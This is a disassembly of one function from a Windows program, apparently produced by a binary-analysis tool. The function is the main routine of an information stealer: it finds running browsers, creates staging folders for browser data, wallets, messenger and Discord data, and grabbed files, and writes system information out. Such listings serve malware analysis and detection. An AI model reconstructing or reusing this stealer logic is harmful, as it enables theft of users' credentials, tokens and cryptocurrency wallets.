Function at 0x14003fa2c
Capabilities:
Create directory
Set current directory

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x478]
sub rsp, 0x550
mov qword [rbp + 0x90], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
xor edx, edx
lea ebx, [rdx + 2]
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
or r15, 0xffffffffffffffff
cmp rax, r15
je 0x14003fa7e
mov rdx, rax
lea rcx, str.chrome.exe
call fcn.140043c8c
xor edx, edx
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
cmp rax, r15
je 0x14003fa9c
mov rdx, rax
lea rcx, str.msedge.exe
call fcn.140043c8c
xor edx, edx
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
cmp rax, r15
je 0x14003faba
mov rdx, rax
lea rcx, str.brave.exe
call fcn.140043c8c
xor edx, edx
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
cmp rax, r15
je 0x14003fad8
mov rdx, rax
lea rcx, str.browser.exe
call fcn.140043c8c
lea rcx, [rbp + 0xf8]
call fcn.1400441d8
mov qword [rbp - 0x38], 0xf
xor r14d, r14d
mov qword [rbp - 0x40], r14
mov byte [rbp - 0x50], r14b
cmp byte [rbp + 0xf8], r14b
jne 0x14003fb05
mov r8d, r14d
jmp 0x14003fb18
lea rax, [rbp + 0xf8]
mov r8, r15
inc r8
cmp byte [rax + r8], r14b
jne 0x14003fb0f
lea rdx, [rbp + 0xf8]
lea rcx, [rbp - 0x50]
call fcn.14000159c
nop
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0x10
cmovae rcx, qword [rbp - 0x50]
mov r8, qword [rbp - 0x40]
add r8, rcx
lea rdx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0x10
cmovae rdx, qword [rbp - 0x50]
mov r13d, 7
mov qword [rbp - 0x18], r13
mov qword [rbp - 0x20], r14
mov word [rbp - 0x30], r14w
lea rcx, [rbp - 0x30]
call fcn.14000fff0
nop
lea rcx, [rbp + 0x30]
call fcn.140044140
nop
lea rcx, [rbp + 0x30]
lea r12d, [r13 + 1]
cmp qword [rbp + 0x48], r12
cmovae rcx, qword [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea rcx, [rbp - 0x30]
cmp qword [rbp - 0x18], r12
cmovae rcx, qword [rbp - 0x30]
xor edx, edx
call qword [0x14006de48]
lea r8, [0x140056cd4]
lea rdx, [rbp + 0x30]
lea rcx, [rsp + 0x70]
call fcn.1400064b0
nop
lea r8, [rbp - 0x30]
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.1400121d8
nop
cmp qword [rbp - 0x78], r12
jb 0x14003fbd6
mov rcx, qword [rsp + 0x70]
call fcn.14001e48c
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x80], r14
mov word [rsp + 0x70], r14w
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], r12
cmovae rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
xor edx, edx
lea rcx, [0x140059208]
call qword [0x14006de48]
lea r8, str.Browsers
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x70]
call fcn.1400064b0
nop
lea rcx, [rbp + 0x70]
cmp qword [rbp + 0x88], r12
cmovae rcx, qword [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea rax, [rsp + 0x70]
mov qword [rbp + 0x480], rax
lea rax, [rsp + 0x50]
mov qword [rbp + 0x488], rax
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x80], r14
mov word [rsp + 0x70], r14w
mov ebx, 6
mov r8d, ebx
lea rdx, [0x140059238]
lea rcx, [rsp + 0x70]
call fcn.140001b58
nop
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x60], r14
mov word [rsp + 0x50], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006bbf0]
lea rcx, [rsp + 0x50]
call fcn.140001e28
nop
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r14
mov word [rsp + 0x30], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006bcb0]
lea rcx, [rsp + 0x30]
call fcn.140001e28
nop
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.1400390e0
lea rax, [rsp + 0x50]
mov qword [rbp + 0x480], rax
lea rax, [rsp + 0x70]
mov qword [rbp + 0x488], rax
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x60], r14
mov word [rsp + 0x50], r14w
mov r8d, ebx
lea rdx, [0x140059248]
lea rcx, [rsp + 0x50]
call fcn.140001b58
nop
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x80], r14
mov word [rsp + 0x70], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006bdd0]
lea rcx, [rsp + 0x70]
call fcn.140001e28
nop
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r14
mov word [rsp + 0x30], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006bcb0]
lea rcx, [rsp + 0x30]
call fcn.140001e28
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.140038aa8
lea rax, [rsp + 0x50]
mov qword [rbp + 0x480], rax
lea rax, [rsp + 0x70]
mov qword [rbp + 0x488], rax
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x60], r14
mov word [rsp + 0x50], r14w
mov r8d, ebx
lea rdx, [0x140059258]
lea rcx, [rsp + 0x50]
call fcn.140001b58
nop
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x80], r14
mov word [rsp + 0x70], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006bdb0]
lea rcx, [rsp + 0x70]
call fcn.140001e28
nop
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r14
mov word [rsp + 0x30], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006bcb0]
lea rcx, [rsp + 0x30]
call fcn.140001e28
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.140038694
lea rax, [rsp + 0x50]
mov qword [rbp + 0x480], rax
lea rax, [rsp + 0x70]
mov qword [rbp + 0x488], rax
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x60], r14
mov word [rsp + 0x50], r14w
lea esi, [rbx - 1]
mov r8d, esi
lea rdx, str.Opera
lea rcx, [rsp + 0x50]
call fcn.140001b58
nop
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x80], r14
mov word [rsp + 0x70], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006be30]
lea rcx, [rsp + 0x70]
call fcn.140001e28
nop
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r14
mov word [rsp + 0x30], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006bd70]
lea rcx, [rsp + 0x30]
call fcn.140001e28
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.1400390e0
lea rax, [rsp + 0x50]
mov qword [rbp + 0x480], rax
lea rax, [rsp + 0x70]
mov qword [rbp + 0x488], rax
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x60], r14
mov word [rsp + 0x50], r14w
lea ebx, [rsi - 1]
mov r8d, ebx
lea rdx, [0x140059278]
lea rcx, [rsp + 0x50]
call fcn.140001b58
nop
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x80], r14
mov word [rsp + 0x70], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006bd30]
lea rcx, [rsp + 0x70]
call fcn.140001e28
nop
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r14
mov word [rsp + 0x30], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006bd50]
lea rcx, [rsp + 0x30]
call fcn.140001e28
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.1400390e0
lea rax, [rsp + 0x50]
mov qword [rbp + 0x480], rax
lea rax, [rsp + 0x70]
mov qword [rbp + 0x488], rax
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x60], r14
mov word [rsp + 0x50], r14w
mov r8d, ebx
lea rdx, [0x140059288]
lea rcx, [rsp + 0x50]
call fcn.140001b58
nop
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x80], r14
mov word [rsp + 0x70], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006bc30]
lea rcx, [rsp + 0x70]
call fcn.140001e28
nop
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r14
mov word [rsp + 0x30], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006bd50]
lea rcx, [rsp + 0x30]
call fcn.140001e28
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.140038aa8
lea rax, [rsp + 0x50]
mov qword [rbp + 0x480], rax
lea rax, [rsp + 0x70]
mov qword [rbp + 0x488], rax
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x60], r14
mov word [rsp + 0x50], r14w
mov r8d, ebx
lea rdx, [0x140059298]
lea rcx, [rsp + 0x50]
call fcn.140001b58
nop
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x80], r14
mov word [rsp + 0x70], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006bc50]
lea rcx, [rsp + 0x70]
call fcn.140001e28
nop
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r14
mov word [rsp + 0x30], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006bd50]
lea rcx, [rsp + 0x30]
call fcn.140001e28
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.140038694
lea rax, [rsp + 0x50]
mov qword [rbp + 0x480], rax
lea rax, [rsp + 0x70]
mov qword [rbp + 0x488], rax
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x60], r14
mov word [rsp + 0x50], r14w
mov r8, r12
lea rdx, [0x1400592a8]
lea rcx, [rsp + 0x50]
call fcn.140001b58
nop
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x80], r14
mov word [rsp + 0x70], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006bdf0]
lea rcx, [rsp + 0x70]
call fcn.140001e28
nop
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r14
mov word [rsp + 0x30], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006bc70]
lea rcx, [rsp + 0x30]
call fcn.140001e28
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.1400390e0
lea rax, [rsp + 0x50]
mov qword [rbp + 0x480], rax
lea rax, [rsp + 0x70]
mov qword [rbp + 0x488], rax
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x60], r14
mov word [rsp + 0x50], r14w
mov r8, r12
lea rdx, str.Chromium
lea rcx, [rsp + 0x50]
call fcn.140001b58
nop
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x80], r14
mov word [rsp + 0x70], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006bd90]
lea rcx, [rsp + 0x70]
call fcn.140001e28
nop
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r14
mov word [rsp + 0x30], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006bc70]
lea rcx, [rsp + 0x30]
call fcn.140001e28
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.140038aa8
lea rax, [rsp + 0x50]
mov qword [rbp + 0x480], rax
lea rax, [rsp + 0x70]
mov qword [rbp + 0x488], rax
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x60], r14
mov word [rsp + 0x50], r14w
mov r8d, esi
lea rdx, [0x1400592d8]
lea rcx, [rsp + 0x50]
call fcn.140001b58
nop
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x80], r14
mov word [rsp + 0x70], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006bc90]
lea rcx, [rsp + 0x70]
call fcn.140001e28
nop
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r14
mov word [rsp + 0x30], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006be10]
lea rcx, [rsp + 0x30]
call fcn.140001e28
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.1400390e0
lea rax, [rsp + 0x50]
mov qword [rbp + 0x480], rax
lea rax, [rsp + 0x70]
mov qword [rbp + 0x488], rax
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x60], r14
mov word [rsp + 0x50], r14w
mov r8d, esi
lea rdx, str.Brave
lea rcx, [rsp + 0x50]
call fcn.140001b58
nop
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x80], r14
mov word [rsp + 0x70], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006bcd0]
lea rcx, [rsp + 0x70]
call fcn.140001e28
nop
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r14
mov word [rsp + 0x30], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006be10]
lea rcx, [rsp + 0x30]
call fcn.140001e28
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.140038aa8
lea rax, [rsp + 0x50]
mov qword [rbp + 0x480], rax
lea rax, [rsp + 0x70]
mov qword [rbp + 0x488], rax
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x60], r14
mov word [rsp + 0x50], r14w
mov r8, r13
lea rdx, str.Vivaldi
lea rcx, [rsp + 0x50]
call fcn.140001b58
nop
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x80], r14
mov word [rsp + 0x70], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006bcf0]
lea rcx, [rsp + 0x70]
call fcn.140001e28
nop
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r14
mov word [rsp + 0x30], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006bd10]
lea rcx, [rsp + 0x30]
call fcn.140001e28
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.1400390e0
lea rax, [rsp + 0x70]
mov qword [rbp + 0x480], rax
lea rax, [rsp + 0x50]
mov qword [rbp + 0x488], rax
lea rdx, str.360_shit
lea rcx, [rsp + 0x70]
call fcn.1400012d8
mov rbx, rax
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x60], r14
mov word [rsp + 0x50], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006be50]
lea rcx, [rsp + 0x50]
call fcn.140001e28
nop
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r14
mov word [rsp + 0x30], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006bd70]
lea rcx, [rsp + 0x30]
call fcn.140001e28
nop
mov r8, rbx
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.1400390e0
lea rax, [rsp + 0x50]
mov qword [rbp + 0x480], rax
lea rdx, [0x140059320]
lea rcx, [rsp + 0x50]
call fcn.1400012d8
mov rbx, rax
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r14
mov word [rsp + 0x30], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006bc10]
lea rcx, [rsp + 0x30]
call fcn.140001e28
nop
mov rdx, rbx
lea rcx, [rsp + 0x30]
call fcn.140038468
lea rax, [rsp + 0x50]
mov qword [rbp + 0x480], rax
lea rdx, [0x140059330]
lea rcx, [rsp + 0x50]
call fcn.1400012d8
mov rbx, rax
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r14
mov word [rsp + 0x30], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006bdb0]
lea rcx, [rsp + 0x30]
call fcn.140001e28
nop
mov rdx, rbx
lea rcx, [rsp + 0x30]
call fcn.140038250
lea rax, [rsp + 0x50]
mov qword [rbp + 0x480], rax
lea rdx, [0x140059340]
lea rcx, [rsp + 0x50]
call fcn.1400012d8
mov rbx, rax
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r14
mov word [rsp + 0x30], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006bc50]
lea rcx, [rsp + 0x30]
call fcn.140001e28
nop
mov rdx, rbx
lea rcx, [rsp + 0x30]
call fcn.140038250
xor edx, edx
lea rcx, [0x140059350]
call qword [0x14006de48]
lea r8, str.Firefox
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x50]
call fcn.1400064b0
nop
lea rcx, [rbp + 0x50]
cmp qword [rbp + 0x68], r12
cmovae rcx, qword [rbp + 0x50]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r14
mov word [rsp + 0x30], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [rbp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.140001e28
lea rcx, [rsp + 0x30]
call fcn.140037d34
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], r12
cmovae rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
xor edx, edx
lea rcx, [0x140059378]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea r8, str.Wallets
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x10]
call fcn.1400064b0
nop
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], r12
cmovae rcx, qword [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
call fcn.140044630
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r14
mov word [rsp + 0x30], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [rbp - 0x10]
lea rcx, [rsp + 0x30]
call fcn.140001e28
lea rcx, [rsp + 0x30]
call fcn.140045980
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r14
mov word [rsp + 0x30], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [rbp - 0x10]
lea rcx, [rsp + 0x30]
call fcn.140001e28
lea rcx, [rsp + 0x30]
call fcn.140045cdc
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r14
mov word [rsp + 0x30], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [rbp - 0x10]
lea rcx, [rsp + 0x30]
call fcn.140001e28
lea rcx, [rsp + 0x30]
call fcn.1400457a4
call fcn.14003f060
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], r12
cmovae rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
xor edx, edx
lea rcx, [0x1400593a0]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea r8, str.Messengers
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x10]
call fcn.1400064b0
nop
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], r12
cmovae rcx, qword [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], r13
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.140001c78
mov r9, r15
xor r8d, r8d
lea rdx, [rbp + 0x10]
lea rcx, [rsp + 0x30]
call fcn.140001e28
lea rcx, [rsp + 0x30]
call fcn.14003edd4
lea rcx, [rbp + 0x10]
call fcn.14000134c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea r8, [0x1400593d0]
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0xd8]
call fcn.1400064b0
nop
xor edx, edx
lea rcx, str.Discord
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rdx, [rbp + 0xd8]
lea rcx, [rsp + 0x30]
call fcn.140012a2c
mov rcx, rax
call fcn.140043a1c
lea rcx, [rbp - 0x70]
call fcn.14000134c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x30]
call fcn.140012a2c
mov rcx, rax
call fcn.14003d908
lea rdx, str.System_info.txt
lea rcx, [rsp + 0x30]
call fcn.1400011e8
nop
lea rcx, [rsp + 0x30]
call fcn.14003e70c
nop
lea rcx, [rsp + 0x30]
call fcn.140001298
call fcn.14003e170
call fcn.14003e110
call fcn.14003e0b0
call fcn.14003e050
call fcn.14003df90
call fcn.14003dff0
call fcn.14003ded0
mov ecx, 0x1000
call qword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
je 0x140040810
call fcn.14003dcc8
lea rcx, [rbp + 0x130]
call fcn.140013228
nop
lea rcx, [rbp + 0x130]
call fcn.140014ac8
mov rcx, rax
call fcn.140012b40
lea rcx, [rbp + 0x130]
call fcn.1400132f0
nop
lea rcx, [rbp + 0x130]
call fcn.14000327c
xor edx, edx
lea rcx, [0x1400594f8]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea r8, str.File_Grabber
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x98]
call fcn.1400064b0
nop
lea rcx, [rbp + 0x240]
call fcn.14003e6c0
lea rcx, [rbp + 0x98]
call fcn.14000134c
mov rdx, rax
lea rcx, [rbp + 0x240]
call fcn.14003e290
lea rcx, [rbp + 0x30]
call fcn.14000134c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea rdx, [rbp + 0x480]
lea rcx, [rbp - 0x70]
call fcn.1400039dc
mov rbx, rax
lea rdx, [rbp + 0x488]
lea rcx, [rbp - 0x70]
call fcn.1400039c8
mov r8, qword [rbx]
mov rdx, qword [rax]
lea rcx, [rbp + 0xb8]
call fcn.140006b44
nop
lea rcx, [rbp + 0xb8]
call fcn.1400012c8
mov rdx, rax
lea rcx, [rsp + 0x30]
call fcn.1400011e8
mov rcx, rax
call fcn.140046124
call fcn.14003954c
nop
lea rcx, [rbp + 0xb8]
call fcn.140001298
nop
lea rcx, [rbp + 0x98]
call fcn.14000131c
nop
lea rcx, [rbp + 0xd8]
call fcn.14000131c
nop
lea rcx, [rbp + 0x10]
call fcn.14000131c
nop
lea rcx, [rbp - 0x10]
call fcn.14000131c
nop
lea rcx, [rbp + 0x50]
call fcn.14000131c
nop
lea rcx, [rbp + 0x70]
call fcn.14000131c
nop
lea rcx, [rbp - 0x70]
call fcn.14000131c
nop
lea rcx, [rbp + 0x30]
call fcn.14000131c
nop
lea rcx, [rbp - 0x30]
call fcn.14000131c
nop
lea rcx, [rbp - 0x50]
call fcn.140001298
xor eax, eax
lea r11, [rsp + 0x550]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret